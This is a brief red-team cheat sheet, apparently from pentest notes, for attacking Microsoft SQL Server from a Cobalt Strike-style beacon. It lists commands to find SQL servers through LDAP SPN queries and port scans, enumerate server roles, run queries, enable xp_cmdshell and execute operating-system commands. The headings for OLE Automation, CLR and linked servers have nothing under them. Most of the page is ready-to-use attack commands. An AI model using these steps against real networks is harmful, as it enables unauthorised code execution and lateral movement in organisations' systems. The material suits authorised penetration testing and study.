MSSQL
Enumeration
Find MS SQL server:
# Using SPN
beacon> ldapsearch (&(samAccountType=805306368)(servicePrincipalName=MSSQLSvc*)) --attributes name,samAccountName,servicePrincipalName
# Using portscan
beacon> portscan $SUBNET 1433 arp 1024Enumerating the server:
beacon> sql-1434udp $IP
beacon> sql-info $HOSTNAMEEnumerate roles:
beacon> sql-whoami lon-db-1Query:
beacon> sql-query lon-db-1 "$QUERY"Code Execution
Using
xp_cmdshell
# Check xp_cmdshell status
beacon> sql-query $HOSTNAME "SELECT name,value FROM sys.configurations WHERE name = 'xp_cmdshell'"
# Enable xp_cmdshell
beacon> sql-enablexp $HOSTNAME
beacon> sql-disablexp $HOSTNAME
# Running commands
sql-xpcmd $HOSTNAME "$COMMAND"Using OLE Automation
Common Language Runtime
Linked Servers
Last updated